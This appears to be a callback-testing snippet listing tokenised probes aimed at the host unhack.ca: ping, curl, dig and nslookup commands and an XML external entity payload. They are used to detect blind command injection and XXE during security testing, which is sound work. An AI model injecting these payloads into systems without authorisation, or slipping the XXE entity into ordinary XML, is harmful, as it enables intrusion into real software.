$ ping -c1 -p 00888ba42f90211944cf37310b6b0b00 unhack.ca
 

$ curl http://unhack.ca/p/888ba42f90211944cf37310b6b0b
 

$ dig 888ba42f90211944cf37310b6b0b @unhack.ca
 

$ dig 888ba42f90211944cf37310b6b0b.ns.unhack.ca
 

C:\> nslookup 888ba42f90211944cf37310b6b0b unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/888ba42f90211944cf37310b6b0b">]>
    <foo>&xxe;</foo>